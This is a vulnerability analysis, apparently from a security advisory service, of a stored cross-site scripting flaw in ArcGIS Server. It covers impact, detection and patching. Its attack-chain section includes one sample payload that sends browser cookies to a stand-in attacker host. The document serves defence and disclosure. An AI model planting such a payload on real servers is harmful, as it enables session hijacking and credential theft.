CVE-2025-67711: 
ArcGIS Server vulnerability analysis and mitigation

CVE-2025-67711 is a stored cross-site scripting (XSS) vulnerability in Esri ArcGIS Server affecting version 11.4 and earlier on both Windows and Linux platforms. In certain configurations, a remote unauthenticated attacker can store files containing malicious code that may execute in the context of a victim's browser. The vulnerability was published on December 31, 2025, and assigned a CVSS v3.1 base score of 6.1 (Medium) (Esri Advisory, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) XSS variant. In certain ArcGIS Server configurations, the application fails to adequately sanitize or restrict file uploads or input that is subsequently stored and rendered in a browser context, allowing an unauthenticated attacker to plant malicious scripts. The attack vector is network-based, requires no privileges, and only requires user interaction (a victim visiting or loading the affected content) to trigger script execution (Esri Advisory, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the maliciously stored content, with a changed scope affecting users beyond the server itself. This can lead to session token theft, credential harvesting, phishing redirects, or unauthorized actions performed on behalf of the victim within the ArcGIS Server web interface. Confidentiality and integrity are both assessed as low impact, and availability is not directly affected (Esri Advisory).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-67711 as of the available data. The EPSS score is approximately 0.04%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (ENISA EUVD).

1. Reconnaissance: Identify publicly accessible ArcGIS Server instances running version 11.4 or earlier using tools like Shodan or Censys, or by browsing known ArcGIS Server URL patterns (e.g., /arcgis/rest/services).
2. Identify vulnerable configuration: Determine if the target instance is configured in a way that permits unauthenticated file uploads or input storage (e.g., open feature services or specific REST endpoints that accept user-supplied content).
3. Craft malicious payload: Prepare a file or input containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute when rendered in a browser.
4. Store the payload: Submit the malicious file or input to the vulnerable ArcGIS Server endpoint without authentication, leveraging the permissive configuration.
5. Trigger execution: Wait for or socially engineer a victim (e.g., an ArcGIS administrator or end user) to access the page or resource where the stored payload is rendered, causing the script to execute in their browser context and potentially exfiltrating session cookies or credentials (Esri Advisory).

• Network: Unexpected outbound HTTP requests from victim browsers to unknown external domains following access to ArcGIS Server pages; unusual POST requests to ArcGIS REST API endpoints from unauthenticated sources uploading files or data.
• Logs: ArcGIS Server access logs showing unauthenticated POST requests to service endpoints with suspicious file content or script-like payloads; repeated access to specific service URLs by multiple different users shortly after an unauthenticated upload event.
• File System: Presence of unexpected files containing HTML or JavaScript content in ArcGIS Server data directories or service folders.
• Browser/Application: User-reported unexpected redirects, pop-ups, or authentication prompts when accessing ArcGIS Server web interfaces.

Esri has released the ArcGIS Server Security 2025 Update 2 Patch to address this vulnerability; administrators should apply this patch immediately for all affected versions (11.4 and earlier) (Esri Advisory). As a configuration-based workaround, restrict unauthenticated access to ArcGIS Server services and limit which endpoints allow file uploads or data submission without authentication. Additionally, enforce strict content security policies (CSP) on the ArcGIS Server web interface to reduce the impact of any XSS execution.

The vulnerability was assigned and disclosed by Esri itself, with the patch published via the ArcGIS Trust blog. Automated vulnerability tracking services including CIRCL Vulnerability Lookup, VulnDB, CVEFeed, and ENISA EUVD indexed the CVE shortly after publication. No significant independent researcher commentary, media coverage, or notable social media discussion beyond automated CVE tracking posts has been identified for this vulnerability.